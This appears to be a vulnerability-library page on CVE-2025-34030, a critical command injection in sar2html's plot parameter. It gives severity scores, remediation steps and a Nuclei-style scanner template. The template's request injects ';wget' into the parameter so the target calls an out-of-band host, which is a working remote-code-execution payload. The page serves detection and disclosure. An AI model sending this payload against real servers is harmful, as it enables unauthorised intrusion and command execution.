/Vulnerability Library

sar2html <=3.2.2 Plot Parameter - Remote Code Execution

CVE-2025-34030
Verified

Description

sar2html version 3.2.2 and prior contains an OS command injection vulnerability in the plot parameter of index.php. A remote, unauthenticated attacker can append shell metacharacters to the plot parameter and execute arbitrary operating system commands.

Severity

Critical

CVSS Score

10

Exploit Probability

61%

Affected Product

sar2html

Published Date

May 10, 2026

Template Author

gy741, tatanka97

CVE-2025-34030.yaml
id: CVE-2025-34030

info:
  name: sar2html <=3.2.2 Plot Parameter - Remote Code Execution
  author: gy741,TATANKA97
  severity: critical
  description: |
    sar2html version 3.2.2 and prior contains an OS command injection vulnerability in the plot parameter of index.php. A remote, unauthenticated attacker can append shell metacharacters to the plot parameter and execute arbitrary operating system commands.
  impact: |
    Successful exploitation allows unauthenticated remote command execution on the underlying server in the web application process context.
  remediation: |
    Remove public access to affected sar2html deployments or apply vendor-provided fixes when available. Restrict access to trusted users and monitor for shell metacharacters in requests to index.php with the plot parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34030
    - https://vulncheck.com/advisories/sar2html-command-injection
    - https://github.com/cemtan/sar2html
    - https://www.exploit-db.com/exploits/47204
    - https://www.fortiguard.com/encyclopedia/ips/48624
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10.0
    cve-id: CVE-2025-34030
    epss-score: 0.60635
    epss-percentile: 0.99047
    cwe-id: CWE-78
  metadata:
    max-request: 1
    vendor: cemtan
    product: sar2html
  tags: cve,cve2025,sar2html,rce,oast,vkev,vuln

http:
  - raw:
      - |
        GET /index.php?plot=;wget%20http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "sar2html Ver"
          - "Select Host"
        condition: and
# digest: 4a0a00473045022100bef9fc65e2d07766c95d7b610b1be37470a5bcee7660a48939586fd48a3da05602203636ae3394b39e9c35581486c983a5ad2e28b87e997f50b04f16dd69401ad435:922c64590222798bb761d5b6d8e72950
10.0Score

CVSS Metrics

CVSS Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVE ID:
cve-2025-34030
CWE ID:
cwe-78

References

https://nvd.nist.gov/vuln/detail/CVE-2025-34030https://vulncheck.com/advisories/sar2html-command-injectionhttps://github.com/cemtan/sar2htmlhttps://www.exploit-db.com/exploits/47204https://www.fortiguard.com/encyclopedia/ips/48624

Remediation Steps

Remove public access to affected sar2html deployments or apply vendor-provided fixes when available. Restrict access to trusted users and monitor for shell metacharacters in requests to index.php with the plot parameter.